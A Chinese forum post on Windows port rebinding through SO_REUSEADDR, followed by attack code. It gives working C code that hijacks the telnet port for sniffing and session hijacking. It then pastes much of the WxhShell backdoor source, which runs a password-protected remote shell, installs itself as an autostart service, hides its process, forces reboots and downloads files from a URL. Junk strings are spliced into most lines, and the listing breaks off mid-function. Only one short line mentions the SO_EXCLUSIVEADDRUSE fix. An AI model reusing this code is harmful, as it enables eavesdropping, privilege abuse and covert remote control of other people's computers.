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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @iuX~QA[9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); azv173XZ  
TF :'6#p  
  saddr.sin_family = AF_INET; hb3:,c(  
7wx=#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G|Et'k.F4  
u.X]K:Yow  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #wIWh^^ Zy  
u>lt}0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g ,JfT^  
\[3~*eX6  
  这意味着什么?意味着可以进行如下的攻击: ZDmL?mC  
G]rY1f0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (2H GV+Dg  
D8L5t<^1R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D2&d",%&f  
Y bJg{Sb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CjpGo}a/  
#G]IEO$M6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $~FZJ@qa  
~#)hqU'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "ZGP,=?y2  
,EEAxmf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +S4>}2N33  
n o<$=(11i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NRtH?&7  
r=n{3o+  
  #include 1 7 KQ  
  #include 9$HKP9G  
  #include h<%$?h+}  
  #include    4u}Cki,vOK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =_-u;w1D  
  int main() 2QaE&8vW  
  { bp9RF d{  
  WORD wVersionRequested; >p-UQc  
  DWORD ret;  6a,8t  
  WSADATA wsaData; o664b$5nsI  
  BOOL val; :%sBY0 yF  
  SOCKADDR_IN saddr; h}SZ+G/L  
  SOCKADDR_IN scaddr; %evb.h)  
  int err; aNu.4c/5  
  SOCKET s; I^k&v V  
  SOCKET sc; fVn4=d6X  
  int caddsize; 06Wqfzceb  
  HANDLE mt; $4g {4-)  
  DWORD tid;   0}<blU  
  wVersionRequested = MAKEWORD( 2, 2 ); Yt#; +*d5  
  err = WSAStartup( wVersionRequested, &wsaData ); F0_w9"3E~  
  if ( err != 0 ) { x[{\Aw>$.  
  printf("error!WSAStartup failed!\n"); 9DA |;|  
  return -1; e& `"}^X;I  
  } A^z{n/DiL  
  saddr.sin_family = AF_INET; P  y v>  
   v>`Fo[c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4O-LLH  
*MmH{!=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5oG~Fc  
  saddr.sin_port = htons(23); nUj`#%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f1aZnl  
  { l3Zi]`@r  
  printf("error!socket failed!\n"); C%Lr3M;S'  
  return -1; &'fER-  
  } D{JjSky  
  val = TRUE; %mmV#vwp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zk{d*gN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C1NU6iV^z  
  { 5vLXMdN  
  printf("error!setsockopt failed!\n"); #l}Fk)dj  
  return -1; f\oW<2k]~  
  } 60%nQhb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OS#aYER~/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :8@)W<>%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;w. la  
"yQBHYP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;&=jSgr8  
  { @Pcgm"H<  
  ret=GetLastError(); U3&GRY|##  
  printf("error!bind failed!\n"); } iKjef#J  
  return -1; Q*<KX2O  
  } X:s~w#>R  
  listen(s,2); LujLC&S  
  while(1) i FZGfar?  
  { gf>H-718F  
  caddsize = sizeof(scaddr); 0+iRgnd9?  
  //接受连接请求 hiVa\s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]^"Lc~w8&  
  if(sc!=INVALID_SOCKET) P0m9($JBD  
  { %WU=Vy4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zlEI_th:~  
  if(mt==NULL) -sA&1n"W&5  
  { O=bkq}  
  printf("Thread Creat Failed!\n"); 2gO@   
  break; _0$>LWO~  
  } GY?u+|Q  
  } ~v(c9I)  
  CloseHandle(mt); RTlC]`IGT  
  } p7> 9 m  
  closesocket(s); By6O@ .\V  
  WSACleanup(); 1P"7.{  
  return 0; W)ug %@)  
  }   #EUT"^:d  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3\RD %[}  
  { ;O)*!yA(GG  
  SOCKET ss = (SOCKET)lpParam; @>(JC]HtR  
  SOCKET sc; kAp#6->(q  
  unsigned char buf[4096]; v CsE|eMP  
  SOCKADDR_IN saddr; JfkEJk<  
  long num; ;!f~  
  DWORD val; `r1j>F7Xb  
  DWORD ret; =b*GV6b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 * ;sz/.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Io<T'K  
  saddr.sin_family = AF_INET; \LJ!X3TZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3q`f|r  
  saddr.sin_port = htons(23); ]R\L~Kr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 95IP_1}?  
  { 1p~ORQ  
  printf("error!socket failed!\n"); Sydl[c pH$  
  return -1; +)yoQRekX  
  } EXeV @kg  
  val = 100; KKk~vwW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9~=zD9,|iA  
  { 3(K.:376  
  ret = GetLastError(); 8!35 K  
  return -1; j)8$hK/e0.  
  } 8 !:2:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [ p,]/ ^ N  
  { H2|'JA#v  
  ret = GetLastError(); #m{(aa9;  
  return -1; C+t3a@&|  
  } K?,? .!ev  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EG^ rh;  
  { #f(tzPD  
  printf("error!socket connect failed!\n"); T\Xf0|y  
  closesocket(sc); 8Ys)qx>7'  
  closesocket(ss); HdlO Ga6C  
  return -1; Da)p%E>Q  
  } ,k_ b-/  
  while(1) <= _!8A  
  { BYdG K@ouk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8aHE=x/TL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [L-wAk:Fb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Kn$t_7AF^  
  num = recv(ss,buf,4096,0); ?`Z:vqp>Z  
  if(num>0) {Pe&J2 +  
  send(sc,buf,num,0); 7_3 PM 3C  
  else if(num==0) ~rI2 RJ  
  break; +cXi|Zf  
  num = recv(sc,buf,4096,0); au19Q*r9  
  if(num>0) G[ns^  
  send(ss,buf,num,0); c/.s`hz  
  else if(num==0) =#4>c8MM  
  break; %x,HQNRDU  
  } 1O,5bi>t7  
  closesocket(ss); 4E=QO!pVv  
  closesocket(sc); Chl^LEN:  
  return 0 ; dY. X/f  
  } 9ec?L  
?A\+s,9  
bbS,pid1  
========================================================== NApy(e 5%  
IHCxM|/k(M  
下边附上一个代码,,WXhSHELL LtwfL^#  
88:YU4:l`N  
========================================================== VDv.N@ ) 7  
*ze/$vz-  
#include "stdafx.h" 8(- 29  
45wqX h  
#include <stdio.h> _~tF2`,Y_p  
#include <string.h> dpchZ{  
#include <windows.h> fup?Mg-  
#include <winsock2.h> \kKd:C{  
#include <winsvc.h> wbr$w>n  
#include <urlmon.h> V%;dTCq  
R f)|p;  
#pragma comment (lib, "Ws2_32.lib") XySkm2y  
#pragma comment (lib, "urlmon.lib") /ho7~C+H*e  
#X``^  
#define MAX_USER   100 // 最大客户端连接数 ;2`t0#J$]  
#define BUF_SOCK   200 // sock buffer W\0u[IV.x  
#define KEY_BUFF   255 // 输入 buffer ' xaPahx;  
I AUc.VH  
#define REBOOT     0   // 重启 wAu]U6!  
#define SHUTDOWN   1   // 关机 }+S~Ah?(  
*!%n`BR '  
#define DEF_PORT   5000 // 监听端口 T1RY1hb|g>  
9MJ:]F5+  
#define REG_LEN     16   // 注册表键长度 .K-d  
#define SVC_LEN     80   // NT服务名长度 7Q'u>o  
p;7wH\c  
// 从dll定义API %AqI'ObC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O%bltNEx1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NMg(tmh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nfZe"|d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^h=gaNL  
{=Ji2k0U'  
// wxhshell配置信息 0H%zkJ>Q  
struct WSCFG { ro?.w  
  int ws_port;         // 监听端口 Zw4%L?   
  char ws_passstr[REG_LEN]; // 口令 pHoxw|'Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no FeZWS>N  
  char ws_regname[REG_LEN]; // 注册表键名 )#4(4 @R h  
  char ws_svcname[REG_LEN]; // 服务名 v5 p`=Z@%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (p' /a.bn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  HC/a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~#so4<A`3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #~m^RoE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Exv!!0Cd^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iu{;|E  
AK'3N1l`  
}; |'o<w ]hc  
* #z@b  
// default Wxhshell configuration < fe.  
struct WSCFG wscfg={DEF_PORT, T^+K`U  
    "xuhuanlingzhe", >e.vUUQ{  
    1, yXtQfR  
    "Wxhshell", E*tT^x)  
    "Wxhshell", 2|1CGHj\  
            "WxhShell Service", `B8`<3k/(  
    "Wrsky Windows CmdShell Service", <jFov`^  
    "Please Input Your Password: ", ZF#lh]  
  1, H,EZ% Gl  
  "http://www.wrsky.com/wxhshell.exe", afaQb  
  "Wxhshell.exe" UWqX}T[^  
    }; zmuR n4Nv  
MYxuQ|w  
// 消息定义模块 DuAix)#FN9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pnuwj U-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d'Dd66  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 41.xi9V2  
char *msg_ws_ext="\n\rExit."; X?u=R)uG  
char *msg_ws_end="\n\rQuit."; xr Ne:Aj  
char *msg_ws_boot="\n\rReboot..."; &F;bg  
char *msg_ws_poff="\n\rShutdown..."; n^55G>"0|  
char *msg_ws_down="\n\rSave to "; {fEb>  
j~+(#|  
char *msg_ws_err="\n\rErr!"; m,6u+Z ,  
char *msg_ws_ok="\n\rOK!"; .A/xH x  
8{icY|:MTN  
char ExeFile[MAX_PATH]; .DnG}884  
int nUser = 0;  cFjD*r-  
HANDLE handles[MAX_USER]; zw5Ol%JF  
int OsIsNt; A'u]z\&%c  
-m=!SQ >9  
SERVICE_STATUS       serviceStatus; aAd1[?&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m>w{vqPwJ  
Gf~^Xv!T  
// 函数声明 o?= &kx  
int Install(void); Jfv'M<I  
int Uninstall(void); qM Qu!%o  
int DownloadFile(char *sURL, SOCKET wsh); "~Kph0-  
int Boot(int flag); >wYmx4W>  
void HideProc(void); UT 7'-  
int GetOsVer(void); S5L0[SZ$!  
int Wxhshell(SOCKET wsl); #+h#b%8  
void TalkWithClient(void *cs); s nNd7v.U6  
int CmdShell(SOCKET sock); 3:sx%Ci/2  
int StartFromService(void); @b5$WKPX  
int StartWxhshell(LPSTR lpCmdLine); Y@Ry oJ  
t!FC)iY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .UN?Ak*R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gp?pSI,b.t  
B'y)bY'_dS  
// 数据结构和表定义 :UKc:JVNM  
SERVICE_TABLE_ENTRY DispatchTable[] = 6RSit  
{ ZRr.kN+F  
{wscfg.ws_svcname, NTServiceMain}, YoQQ ,  
{NULL, NULL} mZ?QtyljT  
}; vQoZk,  
931GJA~g  
// 自我安装 2>CR]  
int Install(void) v}!^RW 'X  
{ ka`}lR  
  char svExeFile[MAX_PATH]; 7~N4~KAUS  
  HKEY key; 'w/ S6j  
  strcpy(svExeFile,ExeFile); Oq}7q!H  
i\4YT r,  
// 如果是win9x系统,修改注册表设为自启动 S%G&{5  
if(!OsIsNt) { z 7cA5'c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a=B $L6*4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %82:?fq  
  RegCloseKey(key); OwDwa~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (enOj0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %bG\  
  RegCloseKey(key); ']^]z".H  
  return 0; 7D~~<45ct  
    } #rz!d/)Q  
  } !Ap*PL  
} !"F8jA}  
else { urL@SeV+$  
Cf v1nU W  
// 如果是NT以上系统,安装为系统服务 ':=20V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mZnsr@KF  
if (schSCManager!=0) >V%.=})K  
{ NXS$w{^  
  SC_HANDLE schService = CreateService B" ]a8}u  
  ( P+e{,~o  
  schSCManager, p7.~k1h  
  wscfg.ws_svcname, pQ ul0]  
  wscfg.ws_svcdisp, zf\$T,t)  
  SERVICE_ALL_ACCESS, fQw=z$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^>fr+3a"P  
  SERVICE_AUTO_START, 3@0!]z^W  
  SERVICE_ERROR_NORMAL, *^Z -4  
  svExeFile, GJF ,w{J  
  NULL, Pvm pWa  
  NULL, dD 6jMl  
  NULL, P|;v>  
  NULL, R3#| *)q  
  NULL ZxCXru1  
  ); ]4FAbY2'h  
  if (schService!=0) |uM=pm;H  
  { :prx:7  
  CloseServiceHandle(schService); IFtaoK  
  CloseServiceHandle(schSCManager); 9T2y2d!X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x|Ms2.!  
  strcat(svExeFile,wscfg.ws_svcname); xHkxrXqeI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4dI`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b>} )G7b}  
  RegCloseKey(key); G2=d q  
  return 0; 1l.HQ IS  
    } -(#`JT8  
  } 0OtUb:8LX  
  CloseServiceHandle(schSCManager); c'bh`H4  
} R0GD9  
} Jg.^h1>x  
oRmA\R*  
return 1; 1_@vxi~aW_  
} lvR>%I0`*  
rF/<}ye/4M  
// 自我卸载 &mba{O  
int Uninstall(void) |Fx~M,Pzg  
{ PaDm"+H@  
  HKEY key; =< P$mFP2*  
8xoC9!xt  
if(!OsIsNt) { K8v@)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a,xy3 8T<  
  RegDeleteValue(key,wscfg.ws_regname); aMxM3"  
  RegCloseKey(key); +a+DiD>./  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wZj`V_3  
  RegDeleteValue(key,wscfg.ws_regname); hu~XFRw15  
  RegCloseKey(key); Q 9<i2H  
  return 0; :v E\r#hJ"  
  } "(p&Oz  
} fz+dOIU3\L  
} )qDV3   
else { 6ziBGU#.-  
[E qZj/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H00iy$R  
if (schSCManager!=0) QghL=  
{ H 9?txNea  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jg6@)<n  
  if (schService!=0) ;"NW= P&  
  { * YLp C^&  
  if(DeleteService(schService)!=0) { d(,M  
  CloseServiceHandle(schService); Z3dI B`@  
  CloseServiceHandle(schSCManager); H_u%e*W  
  return 0; YizwKcuZ  
  } S e!B,'C%  
  CloseServiceHandle(schService); 0.^67'  
  } CI|#,^  
  CloseServiceHandle(schSCManager); @3?dI@i(  
} =vb'T  
} y*-D  
)jw!, "_4  
return 1; ?oU5H  
} NV\{$*j(|J  
k !g%vx  
// 从指定url下载文件 ca'c5*Fs  
int DownloadFile(char *sURL, SOCKET wsh) o"qG'\x  
{ aBKJd  
  HRESULT hr; W: 3fLXk+  
char seps[]= "/";  &/)To  
char *token; o4YF,c+>q  
char *file; ]QF*\2b-I2  
char myURL[MAX_PATH]; V B=jK Mi  
char myFILE[MAX_PATH]; `bNLmTS  
Lv-M.  
strcpy(myURL,sURL); ~W_ T3@  
  token=strtok(myURL,seps); !*,m=*[3  
  while(token!=NULL)  N1dM,H  
  { E$4Ik.k  
    file=token; wqJ1^>TB  
  token=strtok(NULL,seps); '.XR,\g>  
  } wHs4~"EY9  
X D \;|  
GetCurrentDirectory(MAX_PATH,myFILE); +GNXV-S  
strcat(myFILE, "\\"); [XD3}'Aa  
strcat(myFILE, file); *zv*T"&ZP  
  send(wsh,myFILE,strlen(myFILE),0); /)V8X#,  
send(wsh,"...",3,0); lh;;%@1DM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n7bML?f'  
  if(hr==S_OK) "]yfx@)_  
return 0; IG4`f~k^  
else (usPAslr  
return 1; LP}'upv  
({h W  
} Ka8Bed3  
9gETWz(3I  
// 系统电源模块 &hIr@Gi@ch  
int Boot(int flag) -8sB\E  
{ 1sXVuto  
  HANDLE hToken; AN+S6t  
  TOKEN_PRIVILEGES tkp; Bv^5L>JZ/  
F>aaUj  
  if(OsIsNt) { 69zMWuY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w[/m:R?eX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DhiIKd9W  
    tkp.PrivilegeCount = 1;  9 -Xr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {s?x NU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d-B,)$zE  
if(flag==REBOOT) { Z:>ek>Op  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j$r2=~1  
  return 0; -\8v{ry  
} !InC8+be  
else { 77%I%<#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %"AB\lL.  
  return 0; 3d(:Y6D)  
} o3oTu  
  } 'H'R6<z5  
  else { G]gc*\4  
if(flag==REBOOT) { 5:SS2>~g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dU|&- .rG  
  return 0; ZY8:7Q@P>  
} o=C'u  
else { 4u7^v1/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h:<?)g~U  
  return 0; 'A'[N :i  
} ZP"Xn/L  
} qyR}|<F8*  
bfKF6  
return 1; =dY!-#yg!  
} KKNQ+'?  
nRheByYm  
// win9x进程隐藏模块 vFi+ExBU  
void HideProc(void) $u::(s} x<  
{ mN1n/LNi  
'~AR|8q?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tIo b  
  if ( hKernel != NULL ) ^8 cq qu  
  { yjIA`5^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kB_T9$0e#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =$\9t$A  
    FreeLibrary(hKernel); SF[}s uL  
  } :[ll$5E.  
Si-Q'*Y=  
return; fmv,)UP  
} =8Gpov1!V~  
c6MMI]+8  
// 获取操作系统版本 ;AJ6I*O@+  
int GetOsVer(void) r|Q/:UV?w  
{ 0uJ??4N9  
  OSVERSIONINFO winfo; :} DTK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4 Xe8j55  
  GetVersionEx(&winfo); iB5'mb*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %ZGG6Xgw  
  return 1; C\}M_MD  
  else f^G-ba  
  return 0; Er<!8;{?  
} oVIc^yk5a  
[s~6,wz  
// 客户端句柄模块 x+,:k=JMT  
int Wxhshell(SOCKET wsl) 5a2+6N  
{ NwNjB w%v  
  SOCKET wsh; g\G}b  
  struct sockaddr_in client; xi15B5 _Ps  
  DWORD myID; &L r~x#Wx  
b$>1_wTL  
  while(nUser<MAX_USER) Lm'+z97  
{ oh,29Gg  
  int nSize=sizeof(client); FA}y"I'W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;.3 {}.Y  
  if(wsh==INVALID_SOCKET) return 1; 9~4@AGL  
QNGp+xUHJ9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kp^q}iS  
if(handles[nUser]==0) 7 /XfPF  
  closesocket(wsh); \qtdbi|Y  
else !>EK %OO  
  nUser++; m`Pk)c0  
  } Sn[/'V^$a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .a9f)^  
W'R^GIHs  
  return 0; Q 6dqFnz  
} q5\iQ2f{WV  
#E#Fk3-ljQ  
// 关闭 socket F[]6U/g n  
void CloseIt(SOCKET wsh) 5'n$aFqI  
{ VI?kbq jo  
closesocket(wsh); "&@{f:+  
nUser--; nRs:^Q~o  
ExitThread(0); M[ ON2P;  
} aq - |  
T%w5%{dqJ  
// 客户端请求句柄 Y-~ M kB  
void TalkWithClient(void *cs) OOnhT  
{ ;3+_aoY  
@x_0AkZU  
  SOCKET wsh=(SOCKET)cs; r\FduyOXv  
  char pwd[SVC_LEN]; DSK?7F$_oE  
  char cmd[KEY_BUFF]; Dw<bLSaW&  
char chr[1]; D_ XOYzN}  
int i,j; n2Ew0-  
g1)ZjABV  
  while (nUser < MAX_USER) { ~%@1-  
FA{(gib@9  
if(wscfg.ws_passstr) { nBwDq^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f(T`(pX0V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~#7uNH2  
  //ZeroMemory(pwd,KEY_BUFF); |g1Pr9{wy  
      i=0; I/go$@E"  
  while(i<SVC_LEN) { p;~oIy\,  
t\f[->f  
  // 设置超时 v[O?7Np  
  fd_set FdRead; 5),&{k!  
  struct timeval TimeOut; m |Sf'5fK  
  FD_ZERO(&FdRead); EF'8-*  
  FD_SET(wsh,&FdRead); JthU' "K  
  TimeOut.tv_sec=8; 0KA@ ]!  
  TimeOut.tv_usec=0; XT1P. w[aA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AYfL}X<Ig  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f9vitFkb+  
mQ2=t%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); */4hFD {  
  pwd=chr[0]; <TgVU.*  
  if(chr[0]==0xd || chr[0]==0xa) { g1@rY0O  
  pwd=0; -#,4rN#  
  break; 1P WTbd l  
  } $Ww.^ym  
  i++; RSCQ`.  
    } Hp[i8PJ  
uzIM?.H  
  // 如果是非法用户,关闭 socket Tt4Q|"CJA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xq}}T%jcd  
} sK8sxy  
:KS"&h{SY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z=Xh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }yw>d\] f  
mSGpxZ,IE  
while(1) { k t+h\^g  
yJMo/!DZ  
  ZeroMemory(cmd,KEY_BUFF); BDLJDyf B  
g!^mewtd  
      // 自动支持客户端 telnet标准   _} K3}}  
  j=0; i!iG7X)qT  
  while(j<KEY_BUFF) { "bz]5c~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tTT :r),}$  
  cmd[j]=chr[0]; e@iz`~[  
  if(chr[0]==0xa || chr[0]==0xd) { 1p=bpJC  
  cmd[j]=0; `cPZsL  
  break; 2a*+mw  
  } *E+VcU  
  j++; \{v-Xe&d^  
    } yQf(/Uxk*x  
Adgfo)X5  
  // 下载文件 ^DVryeLD  
  if(strstr(cmd,"http://")) { k106fT]eX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #Y'ewu;qJ  
  if(DownloadFile(cmd,wsh)) 5F#FC89Kk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yT[=!M  
  else U5p3b;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `uC^"R(m  
  } |Qn>K   
  else { w:x[ kA  
\"w+4}  
    switch(cmd[0]) { wj5,_d)  
  b*ja,I4  
  // 帮助 ;te( {u+  
  case '?': { 0[ (kFe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D[)_ f  
    break; N:~4>p44[  
  } >E3-/)Ti  
  // 安装 ppGWh  
  case 'i': { r_kaS als  
    if(Install()) f,ZJFb98  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {a15s6'd  
    else g |H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $k`j";8uR  
    break; 5 ed|]LP  
    } Uyxn+j 5  
  // 卸载 ZrB(!L~7  
  case 'r': { -)xl?IB%  
    if(Uninstall()) (p] S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m#4h5_N  
    else 2*a9mi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3*\hGt,ZP  
    break; 8dC RSU  
    } NE4]i  
  // 显示 wxhshell 所在路径 >XX93  
  case 'p': { 5rmQ:8_5  
    char svExeFile[MAX_PATH]; 0.2stBw  
    strcpy(svExeFile,"\n\r"); {rn^  
      strcat(svExeFile,ExeFile); y=Z[_L!xr  
        send(wsh,svExeFile,strlen(svExeFile),0); R<ORw]  
    break; Zr=B8wuT  
    } Cq'{ %  
  // 重启 HTMg{_r(%  
  case 'b': { W8r"dK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bZ^'_OOn  
    if(Boot(REBOOT)) Ya(3Z_f+VZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vU(fd!V ?  
    else { v*c"SI=@M=  
    closesocket(wsh); '-cayG   
    ExitThread(0); hT`&Xb  
    } z ?F`)}  
    break; ?@kz`BY  
    } IZ87Px>zL  
  // 关机 *`LrvE@t  
  case 'd': { JSmg6l?[u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); btC6R>0   
